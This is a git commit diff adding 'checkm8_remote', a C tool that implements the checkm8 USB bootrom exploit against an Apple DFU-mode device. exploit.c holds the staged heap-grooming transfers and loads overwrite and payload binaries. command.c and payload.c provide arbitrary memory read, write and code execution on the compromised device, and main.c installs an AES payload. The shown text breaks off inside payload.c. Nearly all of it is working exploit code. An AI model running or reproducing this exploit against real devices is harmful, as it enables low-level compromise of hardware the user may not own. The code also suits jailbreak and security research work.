Project restructuring

This commit is contained in:
2019-12-31 00:30:21 -05:00
parent a215788cbc
commit de3be2df4b
65 changed files with 10 additions and 10 deletions

14
c8_remote/CMakeLists.txt Normal file
View File

@@ -0,0 +1,14 @@
project(checkm8_remote C)
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall")
include_directories(include)
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
add_custom_command(TARGET checkm8_remote POST_BUILD
COMMAND ln
ARGS -s -f -n
${CMAKE_SOURCE_DIR}/checkm8_payloads/bin
${CMAKE_CURRENT_SOURCE_DIR}/bin/payloads)
target_link_libraries(checkm8_remote checkm8_libusb pthread udev)

BIN
c8_remote/bin/overwrite.bin Normal file

Binary file not shown.

BIN
c8_remote/bin/payload.bin Normal file

Binary file not shown.

View File

@@ -0,0 +1,50 @@
#ifndef CHECKM8_TOOL_CHECKM8_H
#define CHECKM8_TOOL_CHECKM8_H
#include "checkm8_config.h"
#define CHECKM8_SUCCESS 0
#define CHECKM8_FAIL_INVARGS -1
#define CHECKM8_FAIL_NODEV -2
#define CHECKM8_FAIL_NOEXP -3
#define CHECKM8_FAIL_NOTDONE -4
#define CHECKM8_FAIL_XFER -5
#define CHECKM8_FAIL_NOINST -6
#define CHECKM8_FAIL_PROT -7
#define IS_CHECKM8_FAIL(code) code < 0
#if CHECKM8_PLATFORM == 8010
#define DEV_IDVENDOR 0x05AC
#define DEV_IDPRODUCT 0x1227
#define DFU_IMAGE_BASE 0x1800B0000
#else
#error "Unspported checkm8 platform"
#endif
struct pwned_device
{
enum
{
DEV_NORMAL,
DEV_PWNED
} status;
unsigned int idVendor;
unsigned int idProduct;
struct payload *installed;
#ifdef WITH_ARDUINO
int ard_fd;
#else
struct libusb_device_bundle *bundle;
#endif
};
struct pwned_device *exploit_device();
void free_device(struct pwned_device *dev);
#endif //CHECKM8_TOOL_CHECKM8_H

View File

@@ -0,0 +1,25 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned char *data;
int len;
};
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,32 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
#define PAYLOAD_AES_BIN CHECKM8_BIN_BASE "payloads/payload_aes.bin"
#define PAYLOAD_SYSREG_BIN CHECKM8_BIN_BASE "payloads/payload_sysreg.bin"
#define PAYLOAD_SYNC_BIN CHECKM8_BIN_BASE "payloads/payload_sync.bin"
typedef enum
{
PAYLOAD_SYNC,
PAYLOAD_AES,
PAYLOAD_SYSREG
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
#define RESP_VALUE(buf, type, i) ((type *) buf)[i]
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...);
struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -0,0 +1,51 @@
#ifndef CHECKM8_TOOL_LIBUSB_HELPERS_H
#define CHECKM8_TOOL_LIBUSB_HELPERS_H
#include "checkm8.h"
#define MAX_PACKET_SIZE 0x800
#ifndef WITH_ARDUINO
#include "libusb.h"
struct libusb_device_bundle
{
struct libusb_context *ctx;
struct libusb_device *device;
struct libusb_device_handle *handle;
struct libusb_device_descriptor *descriptor;
};
#endif
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
int partial_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
int no_error_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
int no_error_ctrl_transfer_data(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
int ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
int reset(struct pwned_device *dev);
int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len);
#endif //CHECKM8_TOOL_LIBUSB_HELPERS_H

103
c8_remote/main.c Normal file
View File

@@ -0,0 +1,103 @@
#include "checkm8.h"
#include "payload.h"
#include <stdio.h>
#include <stdarg.h>
#include <execinfo.h>
#include <usb_helpers.h>
#include "command.h"
void checkm8_debug_indent(const char *format, ...)
{
#ifdef CHECKM8_LOGGING
void *traces[100];
int depth = backtrace(traces, 100) - 5;
for(int i = 0; i < depth; i++)
{
printf("\t");
}
va_list args;
va_start (args, format);
vprintf(format, args);
va_end(args);
#endif
}
void checkm8_debug_block(const char *format, ...)
{
#ifdef CHECKM8_LOGGING
va_list args;
va_start (args, format);
vprintf(format, args);
va_end(args);
#endif
}
int main()
{
int ret;
struct pwned_device *dev = exploit_device();
if(dev == NULL || dev->status == DEV_NORMAL)
{
printf("Failed to exploit device\n");
return -1;
}
struct dev_cmd_resp *resp;
ret = install_payload(dev, PAYLOAD_SYNC, DRAM);
if(IS_CHECKM8_FAIL(ret))
{
printf("Failed to install sync payload\n");
return -1;
}
ret = install_payload(dev, PAYLOAD_AES, DRAM);
if(IS_CHECKM8_FAIL(ret))
{
printf("Failed to install AES payload\n");
return -1;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("Failed to execute sync payload\n");
return -1;
}
unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
0xef};
unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
0xef};
free_dev_cmd_resp(resp);
resp = write_payload(dev, 0x180152000, data, 16);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("Failed to write AES data\n");
return -1;
}
free_dev_cmd_resp(resp);
resp = write_payload(dev, 0x180152010, key, 16);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("Failed to write AES key\n");
return -1;
}
// free_dev_cmd_resp(resp);
// resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0);
//
// if(IS_CHECKM8_FAIL(resp->ret))
// {
// printf("Failed to execute AES\n");
// return -1;
// }
free_dev_cmd_resp(resp);
free_device(dev);
}

255
c8_remote/src/command.c Normal file
View File

@@ -0,0 +1,255 @@
#include "command.h"
#include "checkm8.h"
#include "usb_helpers.h"
#include <stdlib.h>
#include <string.h>
void free_dev_cmd_resp(struct dev_cmd_resp *resp)
{
if(resp->data != NULL) free(resp->data);
free(resp);
}
int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
{
checkm8_debug_indent("dfu_send_data(dev = %p, data = %p, data_len = %li)\n", dev, data, data_len);
long long index = 0, amount;
int ret;
while(index < data_len)
{
if(data_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
else amount = data_len - index;
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000);
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
return CHECKM8_FAIL_XFER;
}
index += amount;
}
return CHECKM8_SUCCESS;
}
static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
struct dev_cmd_resp *command(struct pwned_device *dev,
unsigned char *args, int arg_len, int response_len)
{
checkm8_debug_indent("command(dev = %p, args = %p, arg_len = %i, response_len = %i)\n",
dev, args, arg_len, response_len);
struct dev_cmd_resp *cmd_resp = calloc(1, sizeof(struct dev_cmd_resp));
unsigned char resp_buf[response_len];
if(!is_device_session_open(dev))
{
cmd_resp->ret = CHECKM8_FAIL_NODEV;
return cmd_resp;
}
int ret;
ret = dfu_send_data(dev, nullbuf, 16);
if(IS_CHECKM8_FAIL(ret))
{
cmd_resp->ret = ret;
return cmd_resp;
}
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
cmd_resp->ret = ret;
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
cmd_resp->ret = ret;
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug_indent("\trequest failed with error code %i\n", ret);
cmd_resp->ret = ret;
return cmd_resp;
}
ret = dfu_send_data(dev, args, arg_len);
if(IS_CHECKM8_FAIL(ret))
{
cmd_resp->ret = ret;
return cmd_resp;
}
if(response_len == 0)
{
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len + 1,
100);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
checkm8_debug_indent("\tfinal request failed with error code %i\n", ret);
cmd_resp->ret = ret;
return cmd_resp;
}
}
else
{
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len,
100);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
checkm8_debug_indent("\tfinal request failed with error code %i\n", ret);
cmd_resp->ret = ret;
return cmd_resp;
}
}
cmd_resp->ret = CHECKM8_SUCCESS;
memcpy(&cmd_resp->magic, resp_buf, 8);
if(response_len - 8 > 0)
{
checkm8_debug_indent("\tcopying %i bytes of output to response data section\n", response_len - 8);
cmd_resp->data = calloc(1, response_len - 8);
memcpy(cmd_resp->data, &resp_buf[8], response_len - 8);
}
cmd_resp->len = response_len - 8;
return cmd_resp;
}
#define EXEC_MAGIC 0x6578656365786563ul // 'execexec'[::-1]
#define MEMC_MAGIC 0x6d656d636d656d63ul // 'memcmemc'[::-1]
#define MEMS_MAGIC 0x6d656d736d656d73ul // 'memsmems'[::-1]
#define DONE_MAGIC 0x646f6e65646f6e65ul // 'donedone'[::-1]
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
unsigned long long cmd_args[5];
cmd_args[0] = MEMS_MAGIC;
cmd_args[1] = 0;
cmd_args[2] = addr;
cmd_args[3] = (unsigned long long) c;
cmd_args[4] = len;
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 1 * sizeof(unsigned long long));
}
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
unsigned long long cmd_args[5];
cmd_args[0] = MEMC_MAGIC;
cmd_args[1] = 0;
cmd_args[2] = dest;
cmd_args[3] = src;
cmd_args[4] = len;
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 1 * sizeof(unsigned long long));
}
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args)
{
checkm8_debug_indent("dev_exec(dev = %p, response_len = %lu, nargs = %i, args = %p\n", dev, response_len, nargs,
args);
int i;
unsigned long long *argbase;
unsigned long long cmd_args[1 + nargs];
checkm8_debug_indent("\tcopying args\n");
cmd_args[0] = EXEC_MAGIC;
cmd_args[1] = 0;
argbase = (unsigned long long *) ((unsigned char *) &cmd_args[1] + 0);
for(i = 0; i < nargs; i++)
{
argbase[i] = args[i];
checkm8_debug_indent("\t\t0x%lx (0d%li) (%s)\n", args[i], args[i], (char *) &args[i]);
}
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
}
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
{
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
long long index = 0, amount;
unsigned long long cmd_args[5];
struct dev_cmd_resp *resp, *ret = calloc(1, sizeof(struct dev_cmd_resp));
ret->data = calloc(1, len);
while(index < len)
{
if(len - index >= CMD_USB_READ_LIMIT - 16) amount = CMD_USB_READ_LIMIT - 16;
else amount = len - index;
checkm8_debug_indent("\treading chunk of size %li at index %li\n", amount, index);
cmd_args[0] = MEMC_MAGIC;
cmd_args[1] = 0;
cmd_args[2] = DFU_IMAGE_BASE + 16;
cmd_args[3] = addr + index;
cmd_args[4] = amount;
resp = command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 16 + amount);
ret->ret = resp->ret;
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tlast transfer failed, aborting\n");
free_dev_cmd_resp(resp);
free(ret->data);
ret->data = NULL;
return ret;
}
else
{
checkm8_debug_indent("\tsuccessfully copied chunk\n");
memcpy(&ret->data[index], &resp->data[8], amount);
free_dev_cmd_resp(resp);
}
index += amount;
}
ret->magic = DONE_MAGIC;
ret->len = len;
return ret;
}
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
{
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
unsigned char cmd_args[40 + len];
((unsigned long *) cmd_args)[0] = MEMC_MAGIC;
((unsigned long *) cmd_args)[1] = 0;
((unsigned long *) cmd_args)[2] = addr;
((unsigned long *) cmd_args)[3] = DFU_IMAGE_BASE + 40;
((unsigned long *) cmd_args)[4] = len;
memcpy(&cmd_args[40], data, len);
return command(dev, (unsigned char *) &cmd_args, 40 + len, 1 * sizeof(unsigned long long));
}

300
c8_remote/src/exploit.c Normal file
View File

@@ -0,0 +1,300 @@
#include "checkm8.h"
#include <stdlib.h>
#include "usb_helpers.h"
#include <stdio.h>
#include <string.h>
#include <unistd.h>
static unsigned char data_0xA_0xC0_buf[192] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
};
static unsigned char data_0xA_0xC1_buf[193] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA
};
static unsigned char data_0x0_0x40_buf[64] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
static unsigned char data_0x0_0x41_buf[65] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0
};
static unsigned char data_0x0_0xC0_buf[192] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
int stall(struct pwned_device *dev)
{
checkm8_debug_indent("stall(dev = %p)\n", dev);
return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
}
int leak(struct pwned_device *dev)
{
checkm8_debug_indent("leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
return CHECKM8_SUCCESS;
}
int no_leak(struct pwned_device *dev)
{
checkm8_debug_indent("no_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
return CHECKM8_SUCCESS;
}
int usb_req_stall(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_stall(dev = %p)\n", dev);
unsigned char data[0];
no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
return CHECKM8_SUCCESS;
}
int usb_req_leak(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
return CHECKM8_SUCCESS;
}
int usb_req_no_leak(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_no_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
return CHECKM8_SUCCESS;
}
int stage1_function(struct pwned_device *dev)
{
checkm8_debug_indent("exploit stage 1\n");
unsigned int i;
stall(dev);
leak(dev);
for(i = 0; i < 6; i++) no_leak(dev);
reset(dev);
return CHECKM8_SUCCESS;
}
int stage2_function(struct pwned_device *dev)
{
checkm8_debug_indent("exploit stage 2\n");
unsigned char databuf[0x800];
memset(databuf, 'A', 0x800);
partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
reset(dev);
return CHECKM8_SUCCESS;
}
int stage3_function(struct pwned_device *dev)
{
long index = 0, amount = 0;
long ow_len, pl_len;
checkm8_debug_indent("exploit stage 3\n");
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
fseek(overwrite_file, 0, SEEK_END);
ow_len = ftell(overwrite_file);
rewind(overwrite_file);
unsigned char overwrite_buf[ow_len];
fread(overwrite_buf, ow_len, 1, overwrite_file);
fclose(overwrite_file);
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
fseek(payload_file, 0, SEEK_END);
pl_len = ftell(payload_file);
rewind(payload_file);
unsigned char payload_buf[pl_len];
fread(payload_buf, pl_len, 1, payload_file);
fclose(payload_file);
stall(dev);
leak(dev);
leak(dev);
checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
while(index < ow_len)
{
if(ow_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
else amount = ow_len - index;
checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
no_error_ctrl_transfer_data(dev, 0, 0, 0, 0, &overwrite_buf[index], amount, 100);
index += amount;
}
index = 0;
amount = 0;
checkm8_debug_indent("\ttransferring payload (%i bytes)\n", pl_len);
while(index < pl_len)
{
if(pl_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
else amount = pl_len - index;
checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
no_error_ctrl_transfer_data(dev, 0x21, 1, 0, 0, &payload_buf[index], amount, 100);
index += amount;
}
reset(dev);
return CHECKM8_SUCCESS;
}
int check_function(struct pwned_device *dev)
{
checkm8_debug_indent("checking device serial\n");
unsigned char serial_buf[128];
unsigned int i;
int ret;
ret = serial_descriptor(dev, serial_buf, sizeof(serial_buf));
if(IS_CHECKM8_FAIL(ret)) return ret;
checkm8_debug_indent("\tgot serial %s\n", serial_buf);
for(i = 0; i < 13; i++)
{
if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) return CHECKM8_FAIL_NOEXP;
}
return CHECKM8_SUCCESS;
}
struct pwned_device *exploit_device()
{
int ret;
struct pwned_device *res = calloc(1, sizeof(struct pwned_device));
checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
res->status = DEV_NORMAL;
res->idVendor = DEV_IDVENDOR;
res->idProduct = DEV_IDPRODUCT;
#ifdef WITH_ARDUINO
res->ard_fd = -1;
#else
res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
#endif
ret = open_device_session(res);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to open device session\n");
free_device(res);
return NULL;
}
ret = check_function(res);
if(ret == CHECKM8_SUCCESS)
{
checkm8_debug_indent("\tdevice is already exploited\n");
res->status = DEV_PWNED;
close_device_session(res);
return res;
}
else if(ret == CHECKM8_FAIL_NODEV)
{
checkm8_debug_indent("\tno device found\n");
free_device(res);
return NULL;
}
else
{
// normal device found - exploit
ret = stage1_function(res);
if(ret == CHECKM8_SUCCESS)
{
ret = stage2_function(res);
usleep(500000);
}
if(ret == CHECKM8_SUCCESS)
{
ret = stage3_function(res);
usleep(500000);
}
if(ret == CHECKM8_SUCCESS)
{
ret = check_function(res);
}
if(ret == CHECKM8_SUCCESS)
{
res->status = DEV_PWNED;
close_device_session(res);
return res;
}
else
{
free_device(res);
return NULL;
}
}
}
void free_device(struct pwned_device *dev)
{
checkm8_debug_indent("free_device(dev = %p)\n", dev);
if(is_device_session_open(dev)) close_device_session(dev);
#ifndef WITH_ARDUINO
free(dev->bundle);
#endif
free(dev);
}

251
c8_remote/src/payload.c Normal file
View File

@@ -0,0 +1,251 @@
#include "payload.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "command.h"
#include "usb_helpers.h"
struct payload
{
PAYLOAD_T type;
unsigned char *data;
int len;
long long install_base;
struct payload *next;
struct payload *prev;
};
struct payload *get_payload(PAYLOAD_T p)
{
FILE *payload_file;
struct payload *res;
char *path;
switch(p)
{
case PAYLOAD_SYNC:
path = PAYLOAD_SYNC_BIN;
break;
case PAYLOAD_AES:
path = PAYLOAD_AES_BIN;
break;
case PAYLOAD_SYSREG:
path = PAYLOAD_SYSREG_BIN;
break;
default:
return NULL;
}
checkm8_debug_indent("get_payload(p = %i) -> %s\n", p, path);
res = malloc(sizeof(struct payload));
if(res == NULL) return NULL;
if((payload_file = fopen(path, "rb")) == NULL)
{
free(res);
return NULL;
}
fseek(payload_file, 0, SEEK_END);
res->type = p;
res->len = ftell(payload_file);
res->data = malloc(res->len);
res->install_base = -1;
res->next = NULL;
res->prev = NULL;
rewind(payload_file);
fread(res->data, 1, res->len, payload_file);
fclose(payload_file);
return res;
}
void free_payload(struct payload *p)
{
free(p->data);
free(p);
}
long long curr_address = 0x180150000;
long long get_address(struct pwned_device *dev, LOCATION_T l)
{
//TODO: make an actual memory allocator
long long ret = curr_address;
